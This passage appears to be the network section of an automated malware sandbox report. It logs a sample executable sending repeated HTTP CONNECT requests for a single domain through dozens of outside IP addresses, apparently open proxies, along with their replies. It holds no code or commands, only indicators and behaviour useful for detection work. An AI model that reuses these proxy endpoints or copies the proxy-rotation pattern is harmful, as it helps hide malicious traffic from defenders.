Mar 11, 2024 15:21:02.657577991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.811736107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.9	50894	128.199.196.31	38832	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.673990011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.371977091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.372040033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.434791088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.9	50999	89.42.166.163	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.682853937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.325134993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.522881985 CET	203	IN	HTTP/1.0 404 Not Found Content-Length: 1166 Content-Type: text/html Date: Fri, 08 Mar 2024 03:48:07 GMT Expires: Fri, 08 Mar 2024 03:48:07 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.9	50961	94.130.94.45	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.685340881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.9	50954	8.217.143.187	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.687438011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.9	51020	213.19.205.18	54321	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.693362951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.9	50938	190.103.177.131	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.694169044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.283427000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.9	50967	8.209.255.13	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.716523886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.434443951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.791508913 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.9	51052	147.75.34.85	10011	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.717971087 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:03.021884918 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.9	50919	203.171.19.99	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.721111059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.9	51094	72.195.101.99	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.721728086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.9	51164	164.92.86.113	60283	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.748615980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.200089931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.715733051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.728696108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.834523916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.997121096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.200577021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.388111115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.404160976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.9	50931	20.219.177.73	3129	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.752430916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.543849945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.728848934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.091077089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.933851957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.9	51030	79.110.119.177	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.752753973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.464380980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.497648954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.567960978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.700572968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.9	50980	171.247.245.221	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.752938986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.9	51095	147.75.92.244	10008	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.753158092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.030093908 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.9	50914	43.231.22.228	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.762204885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.187273979 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.9	51227	211.234.125.5	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.765506983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.9	51228	211.234.125.5	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.768111944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.9	49842	91.241.131.179	9834	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.779222965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.9	50941	13.234.24.116	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.779465914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.181298971 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.9	49924	158.247.207.153	3030	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.779709101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.317480087 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.9	51229	211.234.125.5	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.780128956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.9	50535	117.160.250.132	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.783176899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.523003101 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.9	51232	211.234.125.5	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.783706903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.9	51097	5.135.83.214	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.786688089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.096920967 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.9	51159	23.19.244.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
